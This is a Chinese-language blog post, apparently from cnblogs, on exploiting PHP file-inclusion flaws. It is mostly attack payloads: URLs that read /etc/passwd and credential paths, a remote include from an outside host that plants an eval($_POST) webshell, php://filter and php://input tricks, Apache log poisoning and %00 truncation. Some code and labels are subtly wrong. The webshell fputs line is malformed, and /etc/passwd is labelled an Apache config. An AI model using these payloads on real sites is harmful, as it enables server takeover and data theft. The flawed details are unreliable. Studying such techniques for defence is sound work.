标签:错误日志 net 文件包含漏洞 pos error 网站 参数 协议 sam
一般PHP语言最容易出现包含漏洞,其他语言不常见。
PHP提供了四个文件包含的函数,分别是include(),include_once,require(),require_once(),区别如下:
(1)本地包含
test1.php 代码如下:
<?php $a=‘aaa‘; echo $a; ?>
test2.php 代码如下:
<?php include("test1.php"); ?>
执行test2.php 会输出 aaa。
此处注意,如果test2.php 包含的是一个 txt文件,并且这个txt文件内容符合php语法规则,则txt文件会被当成php文件执行。 如果包含非php语法规则的内容,则会暴露其源代码。
(2)远程包含
远程包含功能在php.ini 中配置:allow_url_include=On
创建aaa.txt文件,文件内容符合PHP语法规则。
我们将test2.php的内容修改为:
<?php include($_GET[‘page‘]); ?>
此时,在url中输入:http://www.XXXX.com/test2.php?page=http://www.XXXX.com/aaa.txt
将会执行aaa.txt的内容。
(1)读取敏感文件
访问URL:http://www.XXXX.com/test2.php?page=/etc/passwd 如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容,反之会被警告。
常见的敏感信息路径:
①Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置文件
②UNIX/Linux系统
/etc/passwd //apache2默认配置文件
/usr/local/app/apache2/conf/http.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-chosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql的配置文件
(2)远程包含shell
如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.X.com/1.txt,代码如下:
<?fputs(fopen("shell.php","w")),"<?php eval($_POST[xxxxx]); ?>") ?>
访问http://www.XXXX.com/test2.php?page=http://www.X.com/1.txt,将会在test2.php所在的目录下生成shell.php,内容为:<?php eval($_POST[xxxxx]); ?>
(3)本地包含配合文件上传
上传图片,文档等,路径为:/uploadfile/1.jpg
内容为:<?fputs(fopen("shell.php","w")),"<?php eval($_POST[xxxxx]); ?>") ?>
访问http://www.XXXX.com/test2.php?page=/uploadfile/1.jpg,将会在test2.php所在的目录下生成shell.php。
(4)PHP封装协议
file:// 访问本地文件系统
http:// 访问HTTP(S)网址
ftp:// 访问FTP(s)URLs
php:// 访问输入/输出流 (I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径
①使用封装协议读取PHP文件
如http://www.XXXX.com/test2.php?page=php://filter/read=convert.base64-encode/resource=config.php
访问URL,即可得到经过base64加密的文件内容,解密即可。
②写入PHP文件。
php://input 使用时必须开启 allow_url_include。
URL:http://www.XXXX.com/test2.php?page=php://input
然后提交数据,则可以执行代码。
(5)包含Apache日志文件
如果存在本地包含漏洞导致无法上传文件时,则可以找Apache的路径,利用包含Apache日志文件也可以获取Webshell。
Apache运行后一般默认会生成两个日志文件,access.log(访问日志)和error.log(错误日志),访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
如果访问一个不存在的资源时,如http://www.XXXX.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码。
(6)截断包含
如果php文件中的包含语句是: include $_GET[‘page‘]."php";
看似修复了包含漏洞,其实不然,我们可以通过%00截断来绕过,如?page=1.jpg%00
但是如果magic_quotes_gpc=on %00截断将实效。
标签:错误日志 net 文件包含漏洞 pos error 网站 参数 协议 sam
原文地址:https://www.cnblogs.com/whitehawk/p/9940184.html